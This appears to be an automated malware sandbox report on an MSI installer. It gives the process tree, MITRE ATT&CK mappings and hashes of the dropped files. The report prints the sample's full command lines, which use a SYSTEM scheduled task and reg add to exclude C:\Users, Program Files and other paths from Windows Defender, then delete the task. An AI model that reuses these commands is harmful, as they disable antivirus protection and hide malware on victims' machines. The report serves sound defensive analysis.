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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:6072 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2552
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2832
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4724
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C:\Windows\system32\cmd.execmd.exe1⤵PID:2732
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\izg5W2" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4660 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\izg5W2" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2004
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3508 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4540
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5168 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2260
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5124 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5092
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59f8ce.rbs
- Size 7KB
- SHA256 5ccf3fd5fe76965bd4d58b4ded25d849a2fafd468bdc1a77e01a9acf48219a63
- MD5 53f3fb7e9095f57072c481d3a987330a
- SHA1 2d635a856de7f117620b5545bbeb19cdfa662e3a
- SHA512 d27bf1f7a30f354a4c9ddd74b3ead5bb9cd9d5f48c9ee3640245f469e1783219091b21e787323f0a40c1ef8d21cf31594b6d67fa7466aa8ec618aee19e5f6a80
- SSDEEP 192:spSCae4+rlzQIIdQIW7d7A0aXWjPwE/fKpbNxkaTEbZ1:sssRQpQL7dc/XWjPwE/SNxkaTEbZ1
- TLSH T11BF10D05BF0596D2EF962B35C30737243BB2C79D9241635B0DCE80B06F0778A9ED628A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\izg5W2\QzIalO.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\izg5W2\UxEnhance64.dll
- Size 3.1MB
- SHA256 aff5b1e81363333cf0e27a7b269b5a2754e2f6fb0bbca7ddb68d2271c08e145b
- MD5 85e85c358ce0f165c055eeb32ebf962d
- SHA1 9a71886771524976b5aa2e1693a63b8f93653592
- SHA512 23eb0f441aae43b6a404f33d8b87451e63babd1f453b7809d703ac3dc75b242763559a6527365dba0a8beb6717fa2a4732029fe9de31df24ef12f1fd20cc26d5
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+L:P9m29xx3Tiqt06ox6+z2rNNrKoL
- TLSH T1CDE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\izg5W2\adoresd.dat
- Size 4.7MB
- SHA256 e8159dea08b987fc68a0c4a079b05c4e4b9e203f73fb72c0b817b17541b504b7
- MD5 3e23a87ced969a5863633867aff057c4
- SHA1 d6d68ab70a49c85201c71c80605efc778bcf94f2
- SHA512 f74d66eea6858d62dedb13a1d4d084a9a95b9deb7d534ff2f58f466e9bb6a67748d9756a884adb0e5f687416c45e1bef7222082a15a9a5f130d7f7b9783366b0
- SSDEEP 98304:2mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:tu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1463633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF074145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\izg5W2\msadox.tb
- Size 8KB
- SHA256 dcccaab45c84cce35476cdaa73785a7c8608131cb6e52fc280b0d4de20c51e09
- MD5 877e6d308247b484605bc77aed01455e
- SHA1 6247a53f3444cae6fe0ebcf78f68d11210f8fd73
- SHA512 04168773f70996508b31c049c87f28b8ebf2ffb78f5a3e8e9238a1a8a6c0e1027afab08a09a469b7e0e886d71be1af9822e72ed3d5d298f1cefbf77759d02903
- SSDEEP 192:RqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:RsZqZOXQ3uqvR2Kfzp
- TLSH T187029E06D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIFF85.tmp
- Size 7.5MB
- SHA256 d00890916dc78a7bb052884a6fd4959c929e89f910d05409d067df8afac29a79
- MD5 3d718c258d89de7ab329dd8156f90b1a
- SHA1 209013997746018358a252bcde6c985c5a0dbeed
- SHA512 9a0c0bdf78ea20ed06bd92fdc7be02b3a1de333cdca93a0a44da29c48ad90668bbfd76d131d81eb68749486cd47a5ac091a6a8f0054ef8c3741bb6f0b358b188
- SSDEEP 196608:EGHpjjfaZTAL2KZS+E55TMdc3GQayfsVuB9Nflv3tv7IDqlRUG:Ecfv627y5QyuysUB9xN3tv76G
- TLSH T17D8633CB68C671B1D49BC3F1A246B69E3A677BDAFCB30C5776E925402D3362901B6304
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59f8cd.msi
- Size 7.6MB
- SHA256 a527257f6db4082f03984f1fb51d5b6957a3c02d6292f9c0dbd1942250bcc6ae
- MD5 869a72c4ffcc6ac028b48e0009985207
- SHA1 5d3cefc230e0ba0b0307a9da1d39b0fb58d3ace2
- SHA512 805d4eb0876a6d61eac30564591cb27a2568a013f427d8206cab38d542a0a0d022efcca8e64ec188dcbc147a06bc3246b87e65033b3f658edc2e53b8b22a0f57
- SSDEEP 196608:gGHpjjfaZTAL2KZS+E55TMdc3GQayfRVuB9Nflv3tv7IDqlRUC:gcfv627y5QyuyRUB9xN3tv76C
- TLSH T1C486338AB8C67271D49BC3F1A246B69E3A667FDAFDB30C1776E935402D3362501B6304
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 d4b85574331cdfc992eb3c7668e59672ca0a1d64b689c82ff567ab571a2061a1
- MD5 00063008bfff900be19c2b7ea880fc38
- SHA1 9c183b8100422c8afee24e941eb8c1290c8017ba
- SHA512 548167201fbfeb078b1a6590ef6a2af1fa7a5342dd632d578cf785af639a76ff1d1390b990b2f4553b88a0f80eebbd59321ac930ae709acccccc9e5ba9bb8247
- SSDEEP 24576:1Fo3DMPKdoO/vvTL/yAjDilQP7eJY7Eg0+1xNudb1WtqJESTsIRmD6pin+X:aHM
- TLSH T13457B31436F92200E7B79E3DB8F06A234D397D5BAC15DE8D45511B8E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{62b2fef3-b399-4f71-998a-40c70d26840c}_OnDiskSnapshotProp
- Size 6KB
- SHA256 f5214743a6c8eb88687ace7e5d42a509b8fa616bf5b66b0294f36c84ed9b6f5f
- MD5 21341168981fe0529327d2cc0eba1d7c
- SHA1 2fb1d96c110e6bad738326351e2bf986e7f5db75
- SHA512 8306f2d611b4737ca05a75b01ca348076c636b7f889f75ee6a707b0cae8c404e7d81b2b8e8623b58312c861a171dd44c991a2bbd41862b10e013d6327bccad45
- SSDEEP 96:FcIfOb1vc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:yI0b++uVm
- TLSH T159D188085AF54711E2B3AB3229F14557A837B911EF33CB8E0198238E6631A10F875F6F
- MD5 SHA1 SHA512 SSDEEP TLSH